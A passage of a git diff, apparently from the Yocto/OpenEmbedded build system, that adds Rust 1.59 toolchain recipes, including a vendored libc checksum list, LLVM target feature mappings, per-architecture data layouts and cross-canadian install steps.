like/linux/mod.rs":"2a26a908b0426923fa32010dd143c4ff0a9f7c2e6675ffe3b84fd545d43cf469","src/unix/linux_like/linux/musl/b32/arm/align.rs":"3e8ac052c1043764776b54c93ba4260e061df998631737a897d9d47d54f7b80c","src/unix/linux_like/linux/musl/b32/arm/mod.rs":"da189402060f8a777126b818a6011041e09f3b4b40952ac82cbc6268a7f30193","src/unix/linux_like/linux/musl/b32/hexagon.rs":"bfeb3121229d8f1bc6ba519bf35f7f64a8c45a1f285b25ad18cfaab7845164d8","src/unix/linux_like/linux/musl/b32/mips/align.rs":"429fb5e005cb7143602d430098b6ebfb7d360685b194f333dfd587472ae954ee","src/unix/linux_like/linux/musl/b32/mips/mod.rs":"e23a8784925f1f7d9d504bb2db3efc483fba7cd854cd743747d9ad3bbb9ac287","src/unix/linux_like/linux/musl/b32/mod.rs":"8ede3985e6243882814ce91e8ce543e7edbafc0cee5932816072b6f14207a671","src/unix/linux_like/linux/musl/b32/powerpc.rs":"14d18bf690bc41b73823152376b4e73a11e57638e0b359e6cb84f3fdd39c5605","src/unix/linux_like/linux/musl/b32/x86/align.rs":"08e77fbd7435d7dec2ff56932433bece3f02e47ce810f89004a275a86d39cbe1","src/unix/linux_like/linux/musl/b32/x86/mod.rs":"3223e0d87b94c865f97a47a3e47dadd3a2beebbf06b11825475bc26cee8fefd4","src/unix/linux_like/linux/musl/b64/aarch64/align.rs":"798a9229d70ce235394f2dd625f6c4c1e10519a94382dc5b091952b638ae2928","src/unix/linux_like/linux/musl/b64/aarch64/mod.rs":"6b9c1a3474b8fa23ca14eec9b5abb0cbc85b62076055ad0173c46005d77f9a0b","src/unix/linux_like/linux/musl/b64/mips64.rs":"5ff053e8f489f9672244b3b67117a7c64d01df0c68964fcb87104b294c68c790","src/unix/linux_like/linux/musl/b64/mod.rs":"d847206d9f2d594c8febe780a938cdccf40d985dafc11e90f235947735a09bac","src/unix/linux_like/linux/musl/b64/powerpc64.rs":"5386ab54bacc199c5d4e1bc07592b151bb61fb86eb4eee2d15d7a351672bed13","src/unix/linux_like/linux/musl/b64/riscv64/mod.rs":"b46633c76eeaffa619e7008b91fbfbcfccac0d75c20c9df3bf2a0078a64fa4b0","src/unix/linux_like/linux/musl/b64/s390x.rs":"20149a2b8c3739be7be7903ce361cf2f8d3f7bb464f782990fcccb38665f347d","src/unix/linux_like/linux/musl/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/musl/b64/x86_64/mod.rs":"3789856e0f550fbd847db0dcc9402f870567efaddd6c1c1355d2f4382dc5e228","src/unix/linux_like/linux/musl/mod.rs":"3a949d409efb3dbd77a3732a8fd95269ae0a9ee764efc12243903e16c1e1c2d7","src/unix/linux_like/linux/no_align.rs":"5ed04c53bf9d27da9b4d65ba7625c6ac53330162683d1b3df98950caafa3507b","src/unix/linux_like/linux/non_exhaustive.rs":"181a05bf94fdb911db83ce793b993bd6548a4115b306a7ef3c10f745a8fea3e9","src/unix/linux_like/linux/uclibc/align.rs":"9ed16138d8e439bd90930845a65eafa7ebd67366e6bf633936d44014f6e4c959","src/unix/linux_like/linux/uclibc/arm/align.rs":"e4a3c27fe20a57b8d612c34cb05bc70646edb5cec7251957315afa53a7b9f936","src/unix/linux_like/linux/uclibc/arm/mod.rs":"1e3bf809508b5872949136859bf48ddf58b7d24ae9f0b663e79f0efd1aaeb6a6","src/unix/linux_like/linux/uclibc/arm/no_align.rs":"9cd223135de75315840ff9c3fd5441ba1cb632b96b5c85a76f8316c86653db25","src/unix/linux_like/linux/uclibc/mips/mips32/align.rs":"e4a3c27fe20a57b8d612c34cb05bc70646edb5cec7251957315afa53a7b9f936","src/unix/linux_like/linux/uclibc/mips/mips32/mod.rs":"fa4102d9a596d90de604ce2962b0e64f184dfbf10552a4c3ecf28f12d4704379","src/unix/linux_like/linux/uclibc/mips/mips32/no_align.rs":"9cd223135de75315840ff9c3fd5441ba1cb632b96b5c85a76f8316c86653db25","src/unix/linux_like/linux/uclibc/mips/mips64/align.rs":"a7bdcb18a37a2d91e64d5fad83ea3edc78f5412adb28f77ab077dbb26dd08b2d","src/unix/linux_like/linux/uclibc/mips/mips64/mod.rs":"e3085ba56cfbc528d7c3c55065880603238c333b6047ef51c58177508a487fcd","src/unix/linux_like/linux/uclibc/mips/mips64/no_align.rs":"4a18e3875698c85229599225ac3401a2a40da87e77b2ad4ef47c6fcd5a24ed30","src/unix/linux_like/linux/uclibc/mips/mod.rs":"a2877679fef0f14f54a89ccbc41fb02f0c25bf6e536f9eb2cb2fa437e1d3f739","src/unix/linux_like/linux/uclibc/mod.rs":"abb9a1a905a7d992ed290557e3619627d9f3a1ccf3a6d4ba9506b936fc56fa04","src/unix/linux_like/linux/uclibc/no_align.rs":"3f28637046524618adaa1012e26cb7ffe94b9396e6b518cccdc69d59f274d709","src/unix/linux_like/linux/uclibc/x86_64/l4re.rs":"024eba5753e852dbdd212427351affe7e83f9916c1864bce414d7aa2618f192e","src/unix/linux_like/linux/uclibc/x86_64/mod.rs":"66e8f5b7509a6e638b8b904906f89badbab0da8fb5b602d07ebd88649c4b961a","src/unix/linux_like/linux/uclibc/x86_64/other.rs":"42c3f71e58cabba373f6a55a623f3c31b85049eb64824c09c2b082b3b2d6a0a8","src/unix/linux_like/mod.rs":"ffce98bdd208fd9d335c65feafbf0d9742bea67c7eec1ee48657f292132ec3f0","src/unix/mod.rs":"b72f18e053cca0ade0f0606f1848a773fcf1885c72cbb31889275e8195f060bd","src/unix/newlib/aarch64/mod.rs":"bb269c1468a9676442554600e87417079a787fe6220dfc23b3109639259e8710","src/unix/newlib/align.rs":"28aaf87fafbc6b312622719d472d8cf65f9e5467d15339df5f73e66d8502b28a","src/unix/newlib/arm/mod.rs":"c71be856bfd7f576b2db28af9f680211cbe6c1cac7d537bbc8020b39591af07c","src/unix/newlib/espidf/mod.rs":"c198cb4beccdab483be61c102da74dc51ac80f766797e33021f3110394ed5a3d","src/unix/newlib/mod.rs":"d7271c13748be08305d36f9af6f41f6950a7a1d6d4382149194a35d5fe2090de","src/unix/newlib/no_align.rs":"e0743b2179495a9514bc3a4d1781e492878c4ec834ee0085d0891dd1712e82fb","src/unix/newlib/powerpc/mod.rs":"2d0f7af28b47f7a2a6c210ebd1c1f33ed8eac62e56b5af2b856de2ad3fdc5187","src/unix/no_align.rs":"c06e95373b9088266e0b14bba0954eef95f93fb2b01d951855e382d22de78e53","src/unix/redox/mod.rs":"cc4794afa4fbed9d6612894ea476228f9d8533950162d6416fc4d16073e1dac4","src/unix/solarish/compat.rs":"b07a5bfac925eb012003a459ba6bddbd3bfa9c44b3394da2ac5a602e54beae9c","src/unix/solarish/illumos.rs":"7d8f47fd37880715b449723688aaee568785325a46f1c360a05bdca13252278e","src/unix/solarish/mod.rs":"c7376a8b0cd093bf67157fac19065b114aeae271fbaf0b7a9cc27c369a915196","src/unix/solarish/solaris.rs":"65b005453aefa9b9d4fc860fe77cfec80d8c97a51342b15daf55fc3e808bb384","src/unix/solarish/x86_64.rs":"9d761573bdccbdd1ac61da571f7e96b5374df70241d9b72d45a069611f495085","src/vxworks/aarch64.rs":"98f0afdc511cd02557e506c21fed6737585490a1dce7a9d4941d08c437762b99","src/vxworks/arm.rs":"acb7968ce99fe3f4abdf39d98f8133d21a4fba435b8ef7084777cb181d788e88","src/vxworks/mod.rs":"aea3da66f2140f2a82dfc9c58f6e6531d2dd9c15ea696e0f95a0d4a2a187b5b6","src/vxworks/powerpc.rs":"acb7968ce99fe3f4abdf39d98f8133d21a4fba435b8ef7084777cb181d788e88","src/vxworks/powerpc64.rs":"98f0afdc511cd02557e506c21fed6737585490a1dce7a9d4941d08c437762b99","src/vxworks/x86.rs":"552f007f38317620b23889cb7c49d1d115841252439060122f52f434fbc6e5ba","src/vxworks/x86_64.rs":"018d92be3ad628a129eff9f2f5dfbc0883d8b8e5f2fa917b900a7f98ed6b514a","src/wasi.rs":"0935c061e947e3389b77a3597ab2ce289d913132f9ea2727a2c98732fade7691","src/windows/gnu/align.rs":"b2c13ec1b9f3b39a75c452c80c951dff9d0215e31d77e883b4502afb31794647","src/windows/gnu/mod.rs":"3c8c7edb7cdf5d0c44af936db2a94869585c69dfabeef30571b4f4e38375767a","src/windows/mod.rs":"e3ad95ba54f76e74c301611fe868d3d94f6b8939b03be672f568b06b10ae71c7","src/windows/msvc/mod.rs":"c068271e00fca6b62bc4bf44bcf142cfc38caeded9b6c4e01d1ceef3ccf986f4","tests/const_fn.rs":"cb75a1f0864f926aebe79118fc34d51a0d1ade2c20a394e7774c7e545f21f1f4"},"package":"8521a1b57e76b1ec69af7599e75e38e7b7fad6610f037db8c79b127201b5d119"}
+--
+2.35.1
+
diff --git a/meta/recipes-devtools/rust/libstd-rs_1.59.0.bb b/meta/recipes-devtools/rust/libstd-rs_1.59.0.bb
new file mode 100644
index 0000000000..0ff1fbd678
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs_1.59.0.bb
@@ -0,0 +1,12 @@
+require rust-source.inc
+require libstd-rs.inc
+
+# Check if libc crate is >= 0.2.17 before dropping this patch
+SRC_URI += " \
+ file://0001-Add-400-series-syscalls-to-musl-riscv64-definitions.patch;patchdir=../../ \
+ file://0001-Update-checksums-for-modified-vendored-libc.patch;patchdir=../../ \
+"
+# libstd moved from src/libstd to library/std in 1.47+
+S = "${RUSTSRC}/library/std"
+
+BBCLASSEXTEND = "nativesdk" \ No newline at end of file
diff --git a/meta/recipes-devtools/rust/rust-common.inc b/meta/recipes-devtools/rust/rust-common.inc
new file mode 100644
index 0000000000..310aecef22
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-common.inc
@@ -0,0 +1,371 @@
+
+# Right now this is focused on arm-specific tune features.
+# We get away with this for now as one can only use x86-64 as the build host
+# (not arm).
+# Note that TUNE_FEATURES is _always_ refering to the target, so we really
+# don't want to use this for the host/build.
+def llvm_features_from_tune(d):
+ f = []
+ feat = d.getVar('TUNE_FEATURES')
+ if not feat:
+ return []
+ feat = frozenset(feat.split())
+
+ mach_overrides = d.getVar('MACHINEOVERRIDES')
+ mach_overrides = frozenset(mach_overrides.split(':'))
+
+ if 'vfpv4' in feat:
+ f.append("+vfp4")
+ if 'vfpv3' in feat:
+ f.append("+vfp3")
+ if 'vfpv3d16' in feat:
+ f.append("+d16")
+
+ if 'vfpv2' in feat or 'vfp' in feat:
+ f.append("+vfp2")
+
+ if 'neon' in feat:
+ f.append("+neon")
+
+ if 'mips32' in feat:
+ f.append("+mips32")
+
+ if 'mips32r2' in feat:
+ f.append("+mips32r2")
+
+ if target_is_armv7(d):
+ f.append('+v7')
+
+ if ('armv6' in mach_overrides) or ('armv6' in feat):
+ f.append("+v6")
+ if 'armv5te' in feat:
+ f.append("+strict-align")
+ f.append("+v5te")
+ elif 'armv5' in feat:
+ f.append("+strict-align")
+ f.append("+v5")
+
+ if ('armv4' in mach_overrides) or ('armv4' in feat):
+ f.append("+strict-align")
+
+ if 'dsp' in feat:
+ f.append("+dsp")
+
+ if 'thumb' in feat:
+ if d.getVar('ARM_THUMB_OPT') == "thumb":
+ if target_is_armv7(d):
+ f.append('+thumb2')
+ f.append("+thumb-mode")
+
+ if 'cortexa5' in feat:
+ f.append("+a5")
+ if 'cortexa7' in feat:
+ f.append("+a7")
+ if 'cortexa9' in feat:
+ f.append("+a9")
+ if 'cortexa15' in feat:
+ f.append("+a15")
+ if 'cortexa17' in feat:
+ f.append("+a17")
+ if ('riscv64' in feat) or ('riscv32' in feat):
+ f.append("+a,+c,+d,+f,+m")
+ return f
+llvm_features_from_tune[vardepvalue] = "${@llvm_features_from_tune(d)}"
+
+# TARGET_CC_ARCH changes from build/cross/target so it'll do the right thing
+# this should go away when https://github.com/rust-lang/rust/pull/31709 is
+# stable (1.9.0?)
+def llvm_features_from_cc_arch(d):
+ f = []
+ feat = d.getVar('TARGET_CC_ARCH')
+ if not feat:
+ return []
+ feat = frozenset(feat.split())
+
+ if '-mmmx' in feat:
+ f.append("+mmx")
+ if '-msse' in feat:
+ f.append("+sse")
+ if '-msse2' in feat:
+ f.append("+sse2")
+ if '-msse3' in feat:
+ f.append("+sse3")
+ if '-mssse3' in feat:
+ f.append("+ssse3")
+ if '-msse4.1' in feat:
+ f.append("+sse4.1")
+ if '-msse4.2' in feat:
+ f.append("+sse4.2")
+ if '-msse4a' in feat:
+ f.append("+sse4a")
+ if '-mavx' in feat:
+ f.append("+avx")
+ if '-mavx2' in feat:
+ f.append("+avx2")
+
+ return f
+
+def llvm_features_from_target_fpu(d):
+ # TARGET_FPU can be hard or soft. +soft-float tell llvm to use soft float
+ # ABI. There is no option for hard.
+
+ fpu = d.getVar('TARGET_FPU', True)
+ return ["+soft-float"] if fpu == "soft" else []
+
+def llvm_features(d):
+ return ','.join(llvm_features_from_tune(d) +
+ llvm_features_from_cc_arch(d) +
+ llvm_features_from_target_fpu(d))
+
+
+## arm-unknown-linux-gnueabihf
+DATA_LAYOUT[arm-eabi] = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64"
+LLVM_TARGET[arm-eabi] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[arm-eabi] = "little"
+TARGET_POINTER_WIDTH[arm-eabi] = "32"
+TARGET_C_INT_WIDTH[arm-eabi] = "32"
+MAX_ATOMIC_WIDTH[arm-eabi] = "64"
+FEATURES[arm-eabi] = "+v6,+vfp2"
+
+## armv7-unknown-linux-gnueabihf
+DATA_LAYOUT[armv7-eabi] = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64"
+LLVM_TARGET[armv7-eabi] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[armv7-eabi] = "little"
+TARGET_POINTER_WIDTH[armv7-eabi] = "32"
+TARGET_C_INT_WIDTH[armv7-eabi] = "32"
+MAX_ATOMIC_WIDTH[armv7-eabi] = "64"
+FEATURES[armv7-eabi] = "+v7,+vfp2,+thumb2"
+
+## aarch64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[aarch64] = "e-m:e-i8:8:32-i16:16:32-i64:64-i128:128-n32:64-S128"
+LLVM_TARGET[aarch64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[aarch64] = "little"
+TARGET_POINTER_WIDTH[aarch64] = "64"
+TARGET_C_INT_WIDTH[aarch64] = "32"
+MAX_ATOMIC_WIDTH[aarch64] = "128"
+
+## x86_64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[x86_64] = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
+LLVM_TARGET[x86_64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[x86_64] = "little"
+TARGET_POINTER_WIDTH[x86_64] = "64"
+TARGET_C_INT_WIDTH[x86_64] = "32"
+MAX_ATOMIC_WIDTH[x86_64] = "64"
+
+## x86_64-unknown-linux-gnux32
+DATA_LAYOUT[x86_64-x32] = "e-m:e-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
+LLVM_TARGET[x86_64-x32] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[x86_64-x32] = "little"
+TARGET_POINTER_WIDTH[x86_64-x32] = "32"
+TARGET_C_INT_WIDTH[x86_64-x32] = "32"
+MAX_ATOMIC_WIDTH[x86_64-x32] = "64"
+
+## i686-unknown-linux-{gnu, musl}
+DATA_LAYOUT[i686] = "e-m:e-p:32:32-f64:32:64-f80:32-n8:16:32-S128"
+LLVM_TARGET[i686] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[i686] = "little"
+TARGET_POINTER_WIDTH[i686] = "32"
+TARGET_C_INT_WIDTH[i686] = "32"
+MAX_ATOMIC_WIDTH[i686] = "64"
+
+## XXX: a bit of a hack so qemux86 builds, clone of i686-unknown-linux-{gnu, musl} above
+DATA_LAYOUT[i586] = "e-m:e-p:32:32-f64:32:64-f80:32-n8:16:32-S128"
+LLVM_TARGET[i586] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[i586] = "little"
+TARGET_POINTER_WIDTH[i586] = "32"
+TARGET_C_INT_WIDTH[i586] = "32"
+MAX_ATOMIC_WIDTH[i586] = "64"
+
+## mips-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips] = "E-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64"
+LLVM_TARGET[mips] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mips] = "big"
+TARGET_POINTER_WIDTH[mips] = "32"
+TARGET_C_INT_WIDTH[mips] = "32"
+MAX_ATOMIC_WIDTH[mips] = "32"
+
+## mipsel-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mipsel] = "e-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64"
+LLVM_TARGET[mipsel] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mipsel] = "little"
+TARGET_POINTER_WIDTH[mipsel] = "32"
+TARGET_C_INT_WIDTH[mipsel] = "32"
+MAX_ATOMIC_WIDTH[mipsel] = "32"
+
+## mips64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64] = "E-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+LLVM_TARGET[mips64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mips64] = "big"
+TARGET_POINTER_WIDTH[mips64] = "64"
+TARGET_C_INT_WIDTH[mips64] = "64"
+MAX_ATOMIC_WIDTH[mips64] = "64"
+
+## mips64el-unknown-linux-{gnu, musl}
+DATA_LAYOUT[mips64el] = "e-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128"
+LLVM_TARGET[mips64el] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[mips64el] = "little"
+TARGET_POINTER_WIDTH[mips64el] = "64"
+TARGET_C_INT_WIDTH[mips64el] = "64"
+MAX_ATOMIC_WIDTH[mips64el] = "64"
+
+## powerpc-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc] = "E-m:e-p:32:32-i64:64-n32"
+LLVM_TARGET[powerpc] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[powerpc] = "big"
+TARGET_POINTER_WIDTH[powerpc] = "32"
+TARGET_C_INT_WIDTH[powerpc] = "32"
+MAX_ATOMIC_WIDTH[powerpc] = "32"
+
+## powerpc64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc64] = "E-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512"
+LLVM_TARGET[powerpc64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[powerpc64] = "big"
+TARGET_POINTER_WIDTH[powerpc64] = "64"
+TARGET_C_INT_WIDTH[powerpc64] = "64"
+MAX_ATOMIC_WIDTH[powerpc64] = "64"
+
+## powerpc64le-unknown-linux-{gnu, musl}
+DATA_LAYOUT[powerpc64le] = "e-m:e-i64:64-n32:64-v256:256:256-v512:512:512"
+LLVM_TARGET[powerpc64le] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[powerpc64le] = "little"
+TARGET_POINTER_WIDTH[powerpc64le] = "64"
+TARGET_C_INT_WIDTH[powerpc64le] = "64"
+MAX_ATOMIC_WIDTH[powerpc64le] = "64"
+
+## riscv32-unknown-linux-{gnu, musl}
+DATA_LAYOUT[riscv32] = "e-m:e-p:32:32-i64:64-n32-S128"
+LLVM_TARGET[riscv32] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[riscv32] = "little"
+TARGET_POINTER_WIDTH[riscv32] = "32"
+TARGET_C_INT_WIDTH[riscv32] = "32"
+MAX_ATOMIC_WIDTH[riscv32] = "32"
+
+## riscv64-unknown-linux-{gnu, musl}
+DATA_LAYOUT[riscv64] = "e-m:e-p:64:64-i64:64-i128:128-n64-S128"
+LLVM_TARGET[riscv64] = "${RUST_TARGET_SYS}"
+TARGET_ENDIAN[riscv64] = "little"
+TARGET_POINTER_WIDTH[riscv64] = "64"
+TARGET_C_INT_WIDTH[riscv64] = "64"
+MAX_ATOMIC_WIDTH[riscv64] = "64"
+
+def sys_for(d, thing):
+ return d.getVar('{}_SYS'.format(thing))
+
+def prefix_for(d, thing):
+ return d.getVar('{}_PREFIX'.format(thing))
+
+# Convert a normal arch (HOST_ARCH, TARGET_ARCH, BUILD_ARCH, etc) to something
+# rust's internals won't choke on.
+def arch_to_rust_target_arch(arch):
+ if arch == "i586" or arch == "i686":
+ return "x86"
+ elif arch == "mipsel":
+ return "mips"
+ elif arch == "mip64sel":
+ return "mips64"
+ elif arch == "armv7":
+ return "arm"
+ elif arch == "powerpc64le":
+ return "powerpc64"
+ else:
+ return arch
+
+# generates our target CPU value
+def llvm_cpu(d):
+ cpu = d.getVar('PACKAGE_ARCH')
+ target = d.getVar('TRANSLATED_TARGET_ARCH')
+
+ trans = {}
+ trans['corei7-64'] = "corei7"
+ trans['core2-32'] = "core2"
+ trans['x86-64'] = "x86-64"
+ trans['i686'] = "i686"
+ trans['i586'] = "i586"
+ trans['powerpc'] = "powerpc"
+ trans['mips64'] = "mips64"
+ trans['mips64el'] = "mips64"
+ trans['riscv64'] = "generic-rv64"
+ trans['riscv32'] = "generic-rv32"
+
+ if target in ["mips", "mipsel"]:
+ feat = frozenset(d.getVar('TUNE_FEATURES').split())
+ if "mips32r2" in feat:
+ trans['mipsel'] = "mips32r2"
+ trans['mips'] = "mips32r2"
+ elif "mips32" in feat:
+ trans['mipsel'] = "mips32"
+ trans['mips'] = "mips32"
+
+ try:
+ return trans[cpu]
+ except:
+ return trans.get(target, "generic")
+
+TARGET_LLVM_CPU="${@llvm_cpu(d)}"
+TARGET_LLVM_FEATURES = "${@llvm_features(d)}"
+
+# class-native implies TARGET=HOST, and TUNE_FEATURES only describes the real
+# (original) target.
+TARGET_LLVM_FEATURES:class-native = "${@','.join(llvm_features_from_cc_arch(d))}"
+
+def rust_gen_target(d, thing, wd, features, cpu, arch, abi=""):
+ import json
+ sys = sys_for(d, thing)
+ prefix = prefix_for(d, thing)
+
+ rust_arch = oe.rust.arch_to_rust_arch(arch)
+
+ if abi:
+ arch_abi = "{}-{}".format(rust_arch, abi)
+ else:
+ arch_abi = rust_arch
+
+ features = features or d.getVarFlag('FEATURES', arch_abi) or ""
+ features = features.strip()
+
+ # build tspec
+ tspec = {}
+ tspec['llvm-target'] = d.getVarFlag('LLVM_TARGET', arch_abi)
+ tspec['data-layout'] = d.getVarFlag('DATA_LAYOUT', arch_abi)
+ tspec['max-atomic-width'] = int(d.getVarFlag('MAX_ATOMIC_WIDTH', arch_abi))
+ tspec['target-pointer-width'] = d.getVarFlag('TARGET_POINTER_WIDTH', arch_abi)
+ tspec['target-c-int-width'] = d.getVarFlag('TARGET_C_INT_WIDTH', arch_abi)
+ tspec['target-endian'] = d.getVarFlag('TARGET_ENDIAN', arch_abi)
+ tspec['arch'] = arch_to_rust_target_arch(rust_arch)
+ tspec['os'] = "linux"
+ if "musl" in tspec['llvm-target']:
+ tspec['env'] = "musl"
+ else:
+ tspec['env'] = "gnu"
+ if "riscv64" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "lp64d"
+ if "riscv32" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "ilp32d"
+ tspec['vendor'] = "unknown"
+ tspec['target-family'] = "unix"
+ tspec['linker'] = "{}{}gcc".format(d.getVar('CCACHE'), prefix)
+ tspec['cpu'] = cpu
+ if features != "":
+ tspec['features'] = features
+ tspec['dynamic-linking'] = True
+ tspec['executables'] = True
+ tspec['linker-is-gnu'] = True
+ tspec['linker-flavor'] = "gcc"
+ tspec['has-rpath'] = True
+ tspec['has-elf-tls'] = True
+ tspec['position-independent-executables'] = True
+ tspec['panic-strategy'] = d.getVar("RUST_PANIC_STRATEGY")
+
+ # write out the target spec json file
+ with open(wd + sys + '.json', 'w') as f:
+ json.dump(tspec, f, indent=4)
+
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+ build_arch = d.getVar('BUILD_ARCH')
+ rust_gen_target(d, 'BUILD', wd, "", "generic", build_arch)
+}
+
+addtask rust_gen_targets after do_patch before do_compile
+do_rust_gen_targets[dirs] += "${WORKDIR}/targets"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian-common.inc b/meta/recipes-devtools/rust/rust-cross-canadian-common.inc
new file mode 100644
index 0000000000..827000f7bd
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian-common.inc
@@ -0,0 +1,55 @@
+
+RUST_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config"
+
+require rust.inc
+
+DEPENDS += "rust-llvm (=${PV})"
+
+inherit cross-canadian
+
+DEPENDS += " \
+ virtual/${HOST_PREFIX}gcc-crosssdk \
+ virtual/nativesdk-libc rust-llvm-native \
+ virtual/${TARGET_PREFIX}compilerlibs \
+ virtual/nativesdk-${HOST_PREFIX}compilerlibs \
+ gcc-cross-${TARGET_ARCH} \
+ "
+
+# The host tools are likely not to be able to do the necessary operation on
+# the target architecturea. Alternatively one could check compatibility
+# between host/target.
+EXCLUDE_FROM_SHLIBS_${RUSTLIB_TARGET_PN} = "1"
+
+DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+ "
+
+LLVM_TARGET[x86_64] = "${RUST_HOST_SYS}"
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+ rust_gen_target(d, 'TARGET', wd, d.getVar('TARGET_LLVM_FEATURES') or "", d.getVar('TARGET_LLVM_CPU'), d.getVar('TARGET_ARCH'))
+ rust_gen_target(d, 'HOST', wd, "", "generic", d.getVar('HOST_ARCH'))
+ rust_gen_target(d, 'BUILD', wd, "", "generic", d.getVar('BUILD_ARCH'))
+}
+
+INHIBIT_DEFAULT_RUST_DEPS = "1"
+
+export WRAPPER_TARGET_CC = "${CCACHE}${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TARGET_CC_ARCH} ${SECURITY_NOPIE_CFLAGS}"
+export WRAPPER_TARGET_CXX = "${CCACHE}${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TARGET_CC_ARCH} ${SECURITY_NOPIE_CFLAGS}"
+export WRAPPER_TARGET_CCLD = "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TARGET_CC_ARCH} ${SECURITY_NOPIE_CFLAGS}"
+export WRAPPER_TARGET_LDFLAGS = "${TARGET_LDFLAGS}"
+export WRAPPER_TARGET_AR = "${TARGET_PREFIX}ar"
+
+python do_configure:prepend() {
+ targets = [d.getVar("TARGET_SYS", True), "{}-unknown-linux-gnu".format(d.getVar("HOST_ARCH", True))]
+ hosts = ["{}-unknown-linux-gnu".format(d.getVar("HOST_ARCH", True))]
+}
+
+INSANE_SKIP:${RUSTLIB_TARGET_PN} = "file-rdeps arch ldflags"
+SKIP_FILEDEPS:${RUSTLIB_TARGET_PN} = "1"
+
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
+INHIBIT_PACKAGE_STRIP = "1"
+INHIBIT_SYSROOT_STRIP = "1"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian.inc b/meta/recipes-devtools/rust/rust-cross-canadian.inc
new file mode 100644
index 0000000000..8bbbd61bdc
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian.inc
@@ -0,0 +1,78 @@
+
+require rust-cross-canadian-common.inc
+
+RUSTLIB_TARGET_PN = "rust-cross-canadian-rustlib-target-${TRANSLATED_TARGET_ARCH}"
+RUSTLIB_HOST_PN = "rust-cross-canadian-rustlib-host-${TRANSLATED_TARGET_ARCH}"
+RUSTLIB_SRC_PN = "rust-cross-canadian-src"
+RUSTLIB_PKGS = "${RUSTLIB_SRC_PN} ${RUSTLIB_TARGET_PN} ${RUSTLIB_HOST_PN}"
+PN = "rust-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+PACKAGES = "${RUSTLIB_PKGS} ${PN}"
+RDEPENDS:${PN} += "${RUSTLIB_PKGS}"
+
+# The default behaviour of x.py changed in 1.47+ so now we need to
+# explicitly ask for the stage 2 compiler to be assembled.
+do_compile () {
+ rust_runx build --stage 2
+}
+
+do_install () {
+ # Rust requires /usr/lib to contain the libs.
+ # Similar story is with /usr/bin ruquiring `lib` to be at the same level.
+ # The required structure is retained for simplicity.
+ SYS_LIBDIR=$(dirname ${D}${libdir})
+ SYS_BINDIR=$(dirname ${D}${bindir})
+ RUSTLIB_DIR=${SYS_LIBDIR}/${TARGET_SYS}/rustlib
+
+ install -d "${SYS_BINDIR}"
+ cp build/${SNAPSHOT_BUILD_SYS}/stage2/bin/* ${SYS_BINDIR}
+ for i in ${SYS_BINDIR}/*; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+
+ install -d "${D}${libdir}"
+ cp -pRd build/${SNAPSHOT_BUILD_SYS}/stage2/lib/${TARGET_SYS}/*.so ${SYS_LIBDIR}
+ cp -pRd build/${SNAPSHOT_BUILD_SYS}/stage2/lib/${TARGET_SYS}/rustlib ${RUSTLIB_DIR}
+
+ for i in ${SYS_LIBDIR}/*.so; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+ for i in ${RUSTLIB_DIR}/*/lib/*.so; do
+ chrpath -d ${i}
+ done
+
+ install -m 0644 "${WORKDIR}/targets/${TARGET_SYS}.json" "${RUSTLIB_DIR}"
+
+ SRC_DIR=${RUSTLIB_DIR}/src/rust
+ install -d ${SRC_DIR}/src/llvm-project
